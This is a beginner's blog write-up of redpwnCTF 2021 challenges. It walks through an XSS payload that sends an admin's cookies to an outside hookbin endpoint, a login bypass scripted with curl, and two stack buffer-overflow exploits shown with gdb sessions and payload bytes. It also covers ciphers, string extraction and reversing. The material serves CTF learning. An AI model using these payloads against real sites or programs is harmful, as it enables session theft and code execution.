1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
|
[meta]: <title> (redpwnCTF 2021)
[meta]: <subtitle> (A noob's perspective)
[meta]: <author> (Loek)
[meta]: <date> (July 13 2021)
[meta]: <tags> (hacking, CTF, writeup)
[meta]: <cover> (/img/redpwn2021.png)
This is the first 'real' CTF I've participated in. About two weeks ago, a
friend of mine was stuck on some challenges from the Radboud CTF. This was a
closed CTF more geared towards beginners (high school students), and only had a
few challenges which required deeper technical knowledge of web servers and
programming. Willem solved most of the challenges, and I helped solve 3 more.
Apart from those challenges, basically all my hacking knowledge comes from
computerphile videos, liveoverflow videos and making applications myself.
## Challenges
### web/pastebin-1
This challenge is a simple XSS exploit. The website that's vulnerable is
supposed to be a clone of pastebin. I can enter any text into the paste area,
and it will get inserted as HTML code into the website when someone visits the
generated link.
The challenge has two sites: one with the pastebin clone, and one that visits
any pastebin url as the website administrator. The goal of this challenge is
given by it's description:
> Ah, the classic pastebin. Can you get the admin's cookies?
In JS, you can read all cookies without the `HttpOnly` attribute by reading
`document.cookie`. This allows us to read the cookies from the admin's browser,
but now we have to figure out a way to get them sent back to us.
Luckily, there's a free service called [hookbin](https://hookbin.com/) that
gives you an http endpoint to send anything to, and look at the request
details.
Combining these two a simple paste can be created:
```html
<script>
var post = new XMLHttpRequest();
post.open("post", "https://hookb.in/<endpoint url>");
post.send(document.cookie);
</script>
```
### crypto/scissor
I wasn't planning on including this one, but it makes use of the excellent
[CyberChef](https://gchq.github.io/CyberChef/) tool. The flag is given in the
challenge description, and is encrypted using a ceasar/rot13 cipher. A simple
python implementation of this cipher is included with the challenge, but I just
put it into CyberChef and started trying different offsets.
### rev/wstrings
> Some strings are wider than normal...
This challenge has a binary that uses a simple `strcmp` to check the flag. When
running the program, the following output is visible:
```sh
# ./wstrings
Welcome to flag checker 1.0.
Give me a flag>
```
My first stategy was running the `strings` utility on the `wstrings` binary,
but I didn't find the flag. What was interesting to me though was that I also
couldn't find the prompt text... This immediately made me check for other
string encodings.
Running the `strings` utility with the `-eL` flag tells `strings` to look for
32-bit little-endian encoded strings, and lo and behold the flag shows up!
This is because ascii strings are less 'wide' than 32-bit strings:
```
--- ascii ---
hex -> 0x68 0x65 0x6c 0x6c 0x6f
str -> h e l l o
```
Notice how each character is represented by a single byte each (8 bits) in
ascii, as opposed to 32-bit characters in 32-bit land.
```
--- 32-bit land ---
hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f
str -> h e l l o
```
I think 32-bit strings also have practical use for things like non-English
texts such as Hebrew, Chinese or Japanese. Those characters take up more space
anyways, and you would waste less space by not using unicode escape characters.
### web/secure
> Just learned about encryptionโnow, my website is unhackable!
This challenge is pretty simple if you know some of JS's quirks. Right at the
top of the file is an sqlite3 expression in JS:
```js
////////
db.exec(`INSERT INTO users (username, password) VALUES (
'${btoa('admin')}',
'${btoa(crypto.randomUUID)}'
)`);
```
This section of code immediately jumped out to me because I noticed that
`crypto.randomUUID` wasn't actually being called.
Because the 'random uuid' is being fed into `btoa()` it becomes a base64
encoded string. However, `btoa()` also expects a string as input. Because every
object in JS has a `.toString()` method, when you pass it into a function
expecting another type, JS will happily convert it for you without warning.
This means that the admin's password will always be a base64-encoded version of
`crypto.randomUUID`'s source code. We can get that base64-encoded source code
by running the following in a NodeJS REPL:
```js
// import file system and crypto modules
var writeFileSync = require('fs').writeFileSync;
var crypto = require('crypto');
// write source to file
writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8');
```
I made a simple shell script that calls cURL with the base64-encoded
parameters, and decodes the url-encoded flag afterwards:
```sh
#!/bin/sh
# https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell
function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; }
urldecode $(curl -sX POST \
-d "username=$(printf 'admin' | base64)" \
-d "password=$(cat ./randomUUID.js)" \
https://secure.mc.ax/login)
```
### crypto/baby
> I want to do an RSA!
This challenge is breaking RSA. It only works because the `n` parameter is
really small.
Googling for 'rsa decrypt n e c' yields
[this](https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c)
stackoverflow result, which links to
[dcode.fr](https://www.dcode.fr/rsa-cipher). The only thing left to do is
calculate `p` and `q`, which can be done using [wolfram
alpha](https://wolframalpha.com/).
### pwn/beginner-generic-pwn-number-0
> rob keeps making me write beginner pwn! i'll show him...
>
> `nc mc.ax 31199`
This was my first interaction with `gdb`. It was.. painful. After begging for
help in the redpwnCTF discord server about another waaaay harder challenge, an
organizer named asphyxia pointed me towards [gef](https://github.com/hugsy/gef)
which single-handedly saved my sanity during the binary exploitation
challenges.
The first thing I did was use [iaito](https://github.com/radareorg/iaito) to
look at a disassembly graph of the binary. Iaito is a graphical front-end to
the radare2 reverse engineering framework, and I didn't feel like learning two
things at the same time, so that's why I used it. While it's very
user-friendly, I didn't look into reverse engineering tools very much, and
didn't realise that iaito is still in development. Let's just say I ran into
some issues with project saving so I took lots of unnecessary repeated steps.
After trying to make sense of assembly code after just seeing it for the first
time, I instead decided looking at the source code would be a better idea since
I actually know c.
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
const char *inspirational_messages[] = {
"\"๐ญ๐ฆ๐ต๐ด ๐ฃ๐ณ๐ฆ๐ข๐ฌ ๐ต๐ฉ๐ฆ ๐ต๐ณ๐ข๐ฅ๐ช๐ต๐ช๐ฐ๐ฏ ๐ฐ๐ง ๐ญ๐ข๐ด๐ต ๐ฎ๐ช๐ฏ๐ถ๐ต๐ฆ ๐ค๐ฉ๐ข๐ญ๐ญ ๐ธ๐ณ๐ช๐ต๐ช๐ฏ๐จ\"",
"\"๐ฑ๐ญ๐ฆ๐ข๐ด๐ฆ ๐ธ๐ณ๐ช๐ต๐ฆ ๐ข ๐ฑ๐ธ๐ฏ ๐ด๐ฐ๐ฎ๐ฆ๐ต๐ช๐ฎ๐ฆ ๐ต๐ฉ๐ช๐ด ๐ธ๐ฆ๐ฆ๐ฌ\"",
"\"๐ฎ๐ฐ๐ณ๐ฆ ๐ต๐ฉ๐ข๐ฏ 1 ๐ธ๐ฆ๐ฆ๐ฌ ๐ฃ๐ฆ๐ง๐ฐ๐ณ๐ฆ ๐ต๐ฉ๐ฆ ๐ค๐ฐ๐ฎ๐ฑ๐ฆ๐ต๐ช๐ต๐ช๐ฐ๐ฏ\"",
};
int main(void)
{
srand(time(0));
long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *));
char heartfelt_message[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(inspirational_messages[inspirational_message_index]);
puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
puts("can you write me a heartfelt message to cheer me up? :(");
gets(heartfelt_message);
if(inspirational_message_index == -1) {
system("/bin/sh");
}
}
```
After looking at this source things became a lot clearer, because the only
input you can actually control is received from `gets(...);`
Now comes the hard part: doing it, but in assembly!
Some resources you should consume before attempting binary exploitation would
be [computerphile's video on buffer
overflows](https://www.youtube.com/watch?v=1S0aBV-Waeo) and
[cheat.sh/gdb](https://cheat.sh/gdb) for some basic gdb commands. The rest of
this section assumes you know the basics of both buffer overflows and gdb.
First, let's print a disassembly of the `int main()` function:
```
(gdb) disas main
Dump of assembler code for function main:
0x000000000040127c <+134>: call 0x4010a0 <puts@plt>
0x0000000000401281 <+139>: lea rdi,[rip+0xec8] # 0x402150
0x0000000000401288 <+146>: call 0x4010a0 <puts@plt>
0x000000000040128d <+151>: lea rdi,[rip+0xf1c] # 0x4021b0
0x0000000000401294 <+158>: call 0x4010a0 <puts@plt>
0x0000000000401299 <+163>: lea rax,[rbp-0x30]
0x000000000040129d <+167>: mov rdi,rax
0x00000000004012a0 <+170>: call 0x4010f0 <gets@plt>
0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
0x00000000004012aa <+180>: jne 0x4012b8 <main+194>
0x00000000004012ac <+182>: lea rdi,[rip+0xf35] # 0x4021e8
0x00000000004012b3 <+189>: call 0x4010c0 <system@plt>
0x00000000004012b8 <+194>: mov eax,0x0
0x00000000004012bd <+199>: leave
0x00000000004012be <+200>: ret
End of assembler dump.
```
This isn't the full output from gdb, but only the last few lines. A few things
should immediately stand out: the 3 `<puts@plt>` calls, and right after the
call to `<gets@plt>`. These are the assembly equivalent of:
```c
puts(inspirational_messages[inspirational_message_index]);
puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
puts("can you write me a heartfelt message to cheer me up? :(");
gets(heartfelt_message);
```
Since I didn't see any reference to a flag file being read, I assumed that the
`system("/bin/sh")` call is our main target, so let's see if we can find that
in our assembly code. There's a call to `<system@plt>` at `<main+189>`, and
there's other weird `cmp`, `jne` and `lea` instructions before. Let's figure
out what those do!
After some stackoverflow soul searching, I found out that the `cmp` and `jne`
are assembly instructions for compare, and jump-if-not-equal. They work like
this:
```asm6502
; cmp compares what's in the $rbp register to 0xffffffffffffffff
; and turns on the ZERO flag if they're equal
0x004012a5 <+0>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
; jne checks if the ZERO flag is on,
; and if it is it jumps (in this case) to 0x4012b8
โ--0x004012aa <+1>: jne 0x4012b8 <main+194>
โ; we can safely ignore the `lea` instruction as it doesn't impact our pwn
โ 0x004012ac <+2>: lea rdi,[rip+0xf35] # 0x4021e8
โ
โ; the almighty syscall
โ 0x004012b3 <+3>: call 0x4010c0 <system@plt>
โ
โ; from here on the program exits without calling /bin/sh
โ->0x004012b8 <+4>: mov eax,0x0
0x004012bd <+5>: leave
0x004012be <+6>: ret
```
The program checks if there's `0xffffffffffffffff` in memory `0x8` bytes before
the `$rbp` register. The program allocates 32 bytes of memory for our heartfelt
message, but it continues reading even if our heartfelt message is longer than
32 bytes. Let's see if we can overwrite that register >:)
Let's set a breakpoint after the `<gets@plt>` call in gdb, and run the program
with 40 bytes of `0x61` ('a')
```
(gdb) break *0x00000000004012a5
Breakpoint 1 at 0x4012a5
(gdb) run < <(python3 -c "print('a' * 40)")
```
I'm using the `run` command with `<` and `<()` to pipe the output of python
into the program's `stdin`. It's unnecessary at this stage because there's an
'a' key on my keyboard, but if we were to send raw bytes, this would make it a
lot easier.
I'm also using [gef](https://github.com/hugsy/gef) so I get access to a command
called `context` which prints all sorts of information about registers, the
stack and a small disassembly window. I won't show it's output here, but it
was an indispensable tool that you should install nonetheless.
Let's print the memory at `[$rbp - 0x8]`:
```
(gdb) x/8gx $rbp - 0x8
0x7fffffffd758: 0x0000000000000000 0x0000000000000000
0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858
0x7fffffffd778: 0x0000000100000064 0x00000000004011f6
0x7fffffffd788: 0x0000000000001000 0x00000000004012c0
```
Hmmm, no overwriteage yet. Let's try 56 bytes instead:
```
(gdb) run < <(python3 -c "print('a' * 56)")
(gdb) x/8gx $rbp - 0x8
0x7fffffffd758: 0x6161616161616161 0x6161616161616161
0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858
0x7fffffffd778: 0x0000000100000064 0x00000000004011f6
0x7fffffffd788: 0x0000000000001000 0x00000000004012c0
(gdb) x/1gx $rbp - 0x8
0x7fffffffd758: 0x6161616161616161
```
Jackpot! We've overwritten 16 bytes of the address that the `cmp` instruction
reads. Let's try setting it to `0xff` instead, so we get a shell. Python 3 is
not that great for binary exploitation, so the code for this is a little bit
ugly, but if it works, it works!
```
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)")
(gdb) x/1gx $rbp - 0x8
0x7fffffffd758: 0xffffffffffffffff
```
Now let's let execution continue as normal by using the `continue` command:
```
(gdb) continue
Continuing.
[Detaching after vfork from child process 22950]
[Inferior 1 (process 22947) exited normally]
```
This might seem underwhelming, but our explit works! A child process was
spawned, and as a bonus, we didn't get any segmentation faults! The reason we
don't get an interactive shell is because we used python to pipe input into the
program which makes it non-interactive.
At this point I was about 12 hours in of straight gdb hell, and I was very
happy to see this shell. After discovering this, I immediately tried it outside
the debugger and was dissapointed to see that my exploit didn't work. After a
small panick attack I found out this was because of my environment variables.
You can launch an environment-less shell by using the `env -i sh` command:
```
ฮป generic โ ฮป git master* โ env -i sh
sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0
"๐ญ๐ฆ๐ต๐ด ๐ฃ๐ณ๐ฆ๐ข๐ฌ ๐ต๐ฉ๐ฆ ๐ต๐ณ๐ข๐ฅ๐ช๐ต๐ช๐ฐ๐ฏ ๐ฐ๐ง ๐ญ๐ข๐ด๐ต ๐ฎ๐ช๐ฏ๐ถ๐ต๐ฆ ๐ค๐ฉ๐ข๐ญ๐ญ ๐ธ๐ณ๐ช๐ต๐ช๐ฏ๐จ"
rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
can you write me a heartfelt message to cheer me up? :(
sh-5.1$ # another shell :tada:
```
Now it was time to actually do the exploit on the remote server.
I whipped up the most disgusting and janky python code that I won't go into
detail about, but here's what is does (in short):
1. Create a thread to capture data from the server and forward it to `stdout`
2. Capture user commands using `input()` and decide what to do with them on the main thread
The code for this script can be found
[here](https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py),
though be warned, it's _very_ janky and you're probably better off copying
stuff from stackoverflow. Writing your own tools is more fun though, and might
also be faster than trying to wrestle with existing tools to try to get them to
do exactly what you want them to do. In this case I could've also just used [a
simple
command](https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&lq=1).
It did help me though and I actually had to copy it for use in the other buffer
overflow challenge that I solved, so I'll probably refactor it someday for use
in other CTFs.
### crypto/round-the-bases
This crypto challenge uses a text file with some hidden information. If you
open up the file in a text editor, and adjust your window width, you'll
eventually see the repeating pattern line up. This makes it very easy to see
what part of the pattern is actually changing:
```
----------------------xxxx----
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
```
I wrote a simple python script to parse this into binary data, and it worked on
the first try:
```py
# read the file into a string
file = open("./round-the-bases")
content = file.read()
file.close()
# split on every 30th character into a list
n = 30
arr = [ content[i : i + n] for i in range(0, len(content), n) ]
bin = []
for line in arr:
sub = line[16:20] # the part that changes
if sub == 'IIcu': # IIcu -> 0x0
bin.append('0')
else: # K0o0 -> 0x1
bin.append('1')
bin = ''.join(bin) # join all the list indices together into a string
# decode the binary string into ascii characters
for i in range(0, len(bin), 8):
print(chr(int(bin[i:i+8], 2)), end='')
# newline for good measure
print("\n", end='')
```
### pwn/ret2generic-flag-reader
This was the second binary exploitation challenge I tackled, and it went much
better than the first because I (sort of) knew what I was doing by now.
I figured the 'ret2' part of the title challenge was short for 'return to', and
my suspicion was confirmed after looking at the c source:
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void super_generic_flag_reading_function_please_ret_to_me()
{
char flag[0x100] = {0};
FILE *fp = fopen("./flag.txt", "r");
if (!fp)
{
puts("no flag!! contact a member of rob inc");
exit(-1);
}
fgets(flag, 0xff, fp);
puts(flag);
fclose(fp);
}
int main(void)
{
char comments_and_concerns[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...");
puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!");
puts("slap on some flavortext and there's no way rob will fire me now!");
puts("this is genius!! what do you think?");
gets(comments_and_concerns);
}
```
With my newfound knowledge of binary exploitation, I figured I would have to
overwrite the return pointer on the stack somehow, so the program calls the
`super_generic_flag_reading_function_please_ret_to_me` function that isn't
called at all in the original.
The only input we have control over is again a call to `gets();`
Let's look at the disassembly in gdb:
```
(gdb) disas main
Dump of assembler code for function main:
0x00000000004013f4 <+79>: call 0x4010a0 <puts@plt>
0x00000000004013f9 <+84>: lea rdi,[rip+0xca0] # 0x4020a0
0x0000000000401400 <+91>: call 0x4010a0 <puts@plt>
0x0000000000401405 <+96>: lea rdi,[rip+0xd0c] # 0x402118
0x000000000040140c <+103>: call 0x4010a0 <puts@plt>
0x0000000000401411 <+108>: lea rdi,[rip+0xd48] # 0x402160
0x0000000000401418 <+115>: call 0x4010a0 <puts@plt>
0x000000000040141d <+120>: lea rax,[rbp-0x20]
0x0000000000401421 <+124>: mov rdi,rax
0x0000000000401424 <+127>: call 0x4010e0 <gets@plt>
0x0000000000401429 <+132>: mov eax,0x0
0x000000000040142e <+137>: leave
0x000000000040142f <+138>: ret
End of assembler dump.
```
We see again multiple calls to `<puts@plt>` and right after a call to
`<gets@plt>`. There is no `cmp` and `jne` to be found in this challenge though.
The goal is to overwrite the _return address_. This is a memory address also
stored in memory, and the program will move execution to that memory address
once it sees a `ret` instruction. In this 'vanilla' state, the return address
always goes to the assembly equivalent of an `exit()` function. Let's see if we
can overwrite it by giving too much input:
```
(gdb) break *0x000000000040142f
Breakpoint 1 at 0x40142f
(gdb) run < <(python3 -c "print('a' * 56)")
-- Breakpoint 1 hit --
(gdb) info registers
rax 0x0 0x0
rbx 0x401430 0x401430
rsi 0x7ffff7f7d883 0x7ffff7f7d883
rdi 0x7ffff7f804e0 0x7ffff7f804e0
rbp 0x6161616161616161 0x6161616161616161
rsp 0x7fffffffd898 0x7fffffffd898
rip 0x40142f 0x40142f <main+138>
```
As you can see, the $rbp register is completely overwritten with `0x61`'s.
Let's check the $rsp register to see where the `main()` function tries to go
after `ret`:
```
(gdb) run
Starting program: ret2generic-flag-reader
alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
slap on some flavortext and there's no way rob will fire me now!
this is genius!! what do you think?
a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3
-- Breakpoint 1 hit --
(gdb) x/1gx $rsp
0x7fffffffd898: 0x3363326331633063
```
Let's use CyberChef to see what `0x3363326331633063` is in ascii!
![](/img/redpwn2021/cyberchef1.png)
Hmm, it's backwards. Let's reverse it!
![](/img/redpwn2021/cyberchef2.png)
Let's find the address of the super generic flag reading function with gdb.
```
(gdb) print super_generic_flag_reading_function_please_ret_to_me
$2 = {<text variable, no debug info>} 0x4011f6 <super_generic_flag_reading_function_please_ret_to_me>
```
Now we're ready to craft a string that exploits the program and runs the secret
function!
```
a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 <- original
c0c1c2c3 <- ends up in $rsp
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <- padding ( 0x28 * 'a' )
c 0 c 1 c 2 c 3 <- ends up in $rsp
3 c 2 c 1 c 0 c <- reverse
0x3363326331633063 <- reverse (hex)
0x00000000004011f6 <- pointer we want in $rsp
f611400000000000 <- reverse
\xf6\x11\x40\x00\x00\x00\x00\x00 <- python bytestring
exploit string:
b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00'
```
Now let's try it in an environment-less shell:
```
python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader
alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
slap on some flavortext and there's no way rob will fire me now!
this is genius!! what do you think?
flag{this_is_a_dummy_flag_go_solve_it_yourself}
Segmentation fault (core dumped)
sh-5.1$
```
### rev/bread-making
For this challenge, I first tried using iaito again to do some program flow
analysis. After giving up on that, I decided to instead brute-force the correct
steps by hand. This was a very long and boring process.
First I used `strings` again to extract all the dialogue and user input strings
from the binary. Then I filtered them to not include obvious dialogue, but only
the possible user input strings. And this is the correct path that gives the
flag:
```
add flour
add salt
add yeast
add water
hide the bowl inside a box
wait 3 hours
work in the basement
preheat the toaster oven
set a timer on your phone
watch the bread bake
pull the tray out with a towel
open the window
unplug the oven
unplug the fire alarm
wash the sink
clean the counters
flush the bread down the toilet
get ready to sleep
close the window
replace the fire alarm
brush teeth and go to bed
```
In hindsight I could've probably made a simple python script to brute force all
remaining possibilities until it got longer output from the program, but
laziness took over and I decided that spending 45 minutes doing very dull work
was more worth it instead.
## Epilogue
Of the 47 total challenges, me and Willem only solved 15. My end goal for this
CTF wasn't winning to begin with, so the outcome didn't matter for me. After
the second day I set the goal of reaching the 3rd page of the leaderboards as
my goal, and we reached 277'th place in the end which made my mom very proud!
![](/img/redpwn2021/leaderboard.png)
I enjoyed the CTF a lot! There were some very frustrating challenges, and I
still don't get how people solved web/wtjs, but that's fine. I did learn how to
use GDB and a lot of other things during the CTF which were all very rewarding.
I will definitely be participating in the 2022 redpwnCTF, and maybe even some
others if they're beginner friendly :)
During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe
host one myself, though I have no clue where to start with that. Maybe keep an
eye out for that ;)
|